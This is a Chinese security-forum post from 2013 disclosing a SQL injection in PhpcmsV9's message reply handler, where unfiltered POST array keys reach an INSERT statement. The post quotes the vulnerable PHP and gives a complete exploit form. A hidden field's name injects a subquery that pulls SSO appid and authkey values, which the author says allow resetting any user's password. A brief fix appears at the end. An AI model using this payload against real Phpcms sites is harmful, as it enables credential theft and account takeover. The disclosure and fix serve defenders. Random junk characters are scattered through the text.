找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:/ Z. g+ y4 W! _6 b
8 }! h; G" ~& d. I
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。& G3 c1 o- I! E( j, p/ K, e
# F' w1 F' \* ]- H/ k9 o/ z
明天再更新下一个漏洞。
7 G8 p  U* N2 \  o& Z2 v# N( J* ]详细说明:
' [- i$ J/ c8 T在/phpcms9/phpcms/modules/message/index.php中有代码如下:
7 t1 w7 T; \- y- M6 H% e* D1 C- R
: v2 |) J5 j, w# n$messageid = $this->message_db->insert($_POST['info'],true);: G' b8 Q" i/ Q# J
9 t9 P0 d8 o  w+ ?! z9 V: q% R% B
6 Y( A, T- h  p% E" K! O9 a" n
insert方法是key value的,代码如下:  D0 r: H; }! ?3 ?/ a. ^

6 F% }+ q- m7 k8 t3 {7 N4 S$ Xpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
0 x' y! B5 z2 A/ `# U                if(!is_array( $data ) || $table == '' || count($data) == 0) {- M  F, R+ f# j5 e$ F6 ]/ t- k7 d
                        return false;
# `) a: h( ~0 g$ X# z6 N' I$ T                }
$ c/ }! H% W: R7 C* Z8 a9 ?5 B                # L6 o6 M" U; ^/ y; N" C
                $fielddata = array_keys($data);
) ^+ p! B  Y9 m: G                $valuedata = array_values($data);
* [" {2 q5 p( {1 O3 H- d                array_walk($fielddata, array($this, 'add_special_char'));8 \$ {3 b1 t  R; @' J' E0 k
                array_walk($valuedata, array($this, 'escape_string'));
+ }: J: R/ h. l% F4 A' l               
/ C6 ^. m4 I; U3 V7 z; v                $field = implode (',', $fielddata);
- F7 h* ?3 {/ @0 U                $value = implode (',', $valuedata);
( u4 I, t" i! c4 G6 J+ A0 B
. [8 s3 N  p* z( \1 o+ y  H                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
3 k* L2 [: j0 k# j                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';- `" M+ b: K6 I% C4 S
                $return = $this->execute($sql);# ^/ V/ G3 S+ W+ t  c/ R" K
                return $return_insert_id ? $this->insert_id() : $return;
& d+ ]3 j0 Y% ^$ W        }& h# `- r; g, e

5 `$ r5 F/ a) r9 `* l8 N& Y3 F3 V; y$ ]
嗯,很遗憾的是
0 P2 K' [3 v; q$ C3 `* F% M& w- v0 L0 f+ u" Z
array_walk($fielddata, array($this, 'add_special_char'));4 X- {; h& T' _9 Y2 v4 `$ m
5 v+ J4 q- f: d3 ?* G
3 ?/ e' ]3 `) A7 ^
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。. }: w6 }7 S0 Y

& i* i5 S2 z9 V1 O3 X# B到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。$ v6 G+ o4 I; x1 G9 y/ E6 ~& |) u: k

5 i7 P* Q3 m6 \& [漏洞证明:
9 x" S8 k! L5 a读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。$ J* O( {" D& ]2 c: C" ~
1 y( B2 Z  L9 Q2 {! p

- L; n/ @. M# I- G6 |表单如下:用户名什么的得自己改一改。. R- h/ e8 x/ k* l- h! w+ J
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
- ?: z& r9 V. d0 e<table width="100%" cellspacing="0" class="table_form">
* F3 n3 e5 w. f3 T4 u( G* x<tr>
3 U8 y( M* v1 ?$ L$ _2 T<th>标 题:</th>
9 N6 s; H4 \5 W+ T* b" ~<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
# ]4 [; z1 T6 [( U4 o$ i) [' d</tr> 0 j$ q! W! G, c# w$ O
<tr>
0 S! N% B& g) Y+ r% @8 B; C9 [5 _, a<th>内 容:</th>
9 e# ]# F, c# [- U; z<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>  X- D3 f! a4 f/ e1 ^7 m
</tr>$ }# n9 I* i6 @# b6 d% v  Q
<input type="hidden" name="info[replyid]" value="2" /> . W' _1 O/ D! R/ S
<input type="hidden" name="info[send_to_id]" value="cc" /> / o" n+ R) O5 s: |5 H# R
<input type="hidden" name="info[send_from_id]" value="hh">8 S7 y! U7 C& L
<!-- 漏洞的利用重点在这里开始 -->
& C$ I8 L) ]; X! Q0 U<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
+ H1 I3 a3 [1 P  ?5 @<!-- 漏洞的利用重点在这里结束 -->9 S% U. n+ p6 Q
<tr>
# p% Y* g6 j/ u! j: H2 c<th>验证码:</th>
& R0 j2 s7 L: E6 L/ K1 |( _8 V* Z( [<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>5 }- V% m' h& |* c% a: {
</tr>' P( G+ g0 j; u9 P- b3 [; F' C
<tr>! O+ y* {/ Y2 ?8 K* k1 S
<td></td>, X! b9 P7 Q! d# z4 ^- s
<td colspan="2"><label>% s: f& p) I6 v3 O
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
! b9 n" d" Q9 }$ e' K</label></td>8 W+ y5 [: n# |( z1 G) C
</tr>
' ~8 z5 b4 h/ V# j9 z$ C; R</table>
; y; ^3 e$ c* Y) q6 |</form>% w( m( U/ o" M! ?! O
在add_special_char函数内对key做过滤就可以了。3 d* ^+ @( H& N8 ?( j& i, n7 d9 T+ v
0 O3 E7 ^& y9 k* P9 I- m( G

9 S/ e/ t$ Q, r0 b0 s( M
: v3 S+ d# M! H/ G" [

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表